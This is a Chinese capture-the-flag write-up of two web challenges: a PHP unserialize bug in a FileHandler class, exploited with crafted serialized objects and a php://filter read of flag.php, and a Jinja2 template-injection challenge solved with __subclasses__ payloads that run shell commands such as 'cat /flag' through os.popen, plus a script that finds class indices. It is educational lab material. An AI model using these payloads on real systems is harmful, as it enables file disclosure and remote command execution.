[网鼎杯 2020 青龙组]AreUSerialz
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
private和protect类型的绕过:用public
php序列化与反序列化方法:
- __construct 当一个对象创建时被调用
- __destruct 当一个对象销毁时被调用
- __toString 当一个对象被当作一个字符串使用
- __sleep 在对象被序列化之前运行
- __wakeup 在对象被反序列化之后被调用
代码审计:
分成3块,一块是定义FileHandler的类,一块是is_valid函数,最后一块是GET传值。
最后一块函数
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
先GET接收一个str参数,然后利用is_valid函数检测,检测不通过直接报错,检测通过直接进行反序列化
然后是is_valid函数
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
将传入的参数循环一遍,要求ASCII码在32–125之间
最后是反序列化
研究一下FileHandler类
PHP __destruct()构析函数与__construct()构造函数
__destruct魔术方法在对象销毁时执行,__construct()魔术方法在每次创建新对象时调用。我们传入对象时已经创建好,所以不需要调用__construct()方法。
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
在这里如果op===‘2’则会覆盖为’1’,然后content被置空,并进入process。在process我们需要调用read()函数,所以需要让op=2(弱类型匹配)。而这里是强等号,所以传入op=2即可,2是整形,'2’是字符型,2===‘2’==>False。
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
在这里调用read()函数,并在output()函数中进行输出。
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
这里利用file_get_contents()函数对文件进行读取。
接下来做题:
(这里的filename是我们可控的,那么可以用前不久学的php://filter伪协议读取文件)
利用php:filter伪协议进行读取。于是将filename置为php://filter/read=convert.base64-encode/resource=flag.php
payload构造为:
<?php
class FileHandler {
protected $op = 2;
protected $filename = 'php://filter/read=convert.base64-encode/resource=flag.php';
protected $content;
}
echo serialize(new FileHandler);
//O:11:"FileHandler":3:{s:5:" * op";i:2;s:11:" * filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:10:" * content";N;}
?>
传入后发现不行
原因:private和protect类型在序列化的时候会生成%00,不能通过is_valid函数的检验。
在php7.1+的环境下对属性的要求不是很敏感,所以可以用public属性绕过:
不用php伪协议,payload
<?php
class FileHandler {
public $op = 2;
public $filename = 'flag.php';
public $content;
}
echo serialize(new FileHandler);
//O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
?>
源码页查看到flag。
[BJDCTF 2nd]fake google
什么是模板引擎
模板引擎是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的文档,就是将模板文件和数据通过模板引擎生成一个HTML代码。
- 遇到考察SSTI的题目,可按照下面的图进行测试,从而判断出是那个模板引擎,再去找对应的payload
这里的绿线表示结果成功返回,红线反之。有些时候,同一个可执行的 payload 会在不同引擎中返回不同的结果,比方说{{7*‘7’}}会在 Twig 中返回49,而在 Jinja2 中则是7777777。
不同模板的标识符
首先就是不同的模板引擎的变量包裹标识符会不一样,导致payload不一样。如:Tornado和Jinja2,这两个都是以{{}}作为变量包裹标识符。
漏洞形成的原因其实与sql等大同小异。
关键在于一个函数和一个框架知识。
函数:reder_template
框架知识:框架渲染
render_template函数在渲染模板的时候使用了%s来动态替换字符串(见上方图),替换的过程如果我们输入的是正常的string,那输出正常。但如果我们输入计算表达式甚至代码的话,就能实现注入攻击。
利用的流程一般是先获取基本类,再获取基本类的子类,并从子类中找到关于命令执行的模块。
这道题我们的payload:
http://46742af1-6c83-4833-9337-84f7e1e072dd.node3.buuoj.cn/qaq?name={{%27%27.__class__.__bases__[0].__subclasses__()[169].__init__.__globals__.__builtins__[%27eval%27](%22__import__(%27os%27).popen(%27cd%20/;cat%20flag%27).read()%22)}}
解析:
{{().__class__.__bases__[0].__subclasses__()}} //查看可用模块
{{().__class__.base__.__subclasses__().index(
warnings.catch_warnings)}}
//本来想用这条命令直接查找危险函数 ,结果不让用只好手动数一数 169
{{().__class__.__bases__[0].__subclasses__()
[169].__init__.__globals__.__builtins__['eval'](
"__import__('os').popen('whoami').read()")}}
//找到危险函数后构造payload尝试执行命令,发现可以,构造最终答案
{{''.__class__.__mro__[1].__subclasses__(
)[169].__init__.__globals__['__builtins__'].eval(
"__import__('os').popen('cat /flag').read()")}}
//可以直接查到flag竟然没有过滤
配上相关函数的解释
_class__ 返回类型所属的对象
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__bases__ 返回该对象所继承的基类 __builtins__是做为默认初始模块
payload2
或者找到os._wrap_close模块 117个
{{"".__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('dir').read()}} 当前文件夹
{{"".__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read()}}来打开文件,payload有很多慢慢摸索慢慢积累= =
payload3
{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('/flag').read()}}
threading.Semaphore模块
一个可以自动检测所用类序号的脚本:
import requests
import re
url = r"http://www.example.com?SSTI={{''.__class__.__bases__[0].__subclasses__()}}"
r = requests.get(url)
s = re.findall(r"class '(.*?)'>",r.text)
print(s.index('warnings.catch_warnings')+1)
#print(r.text)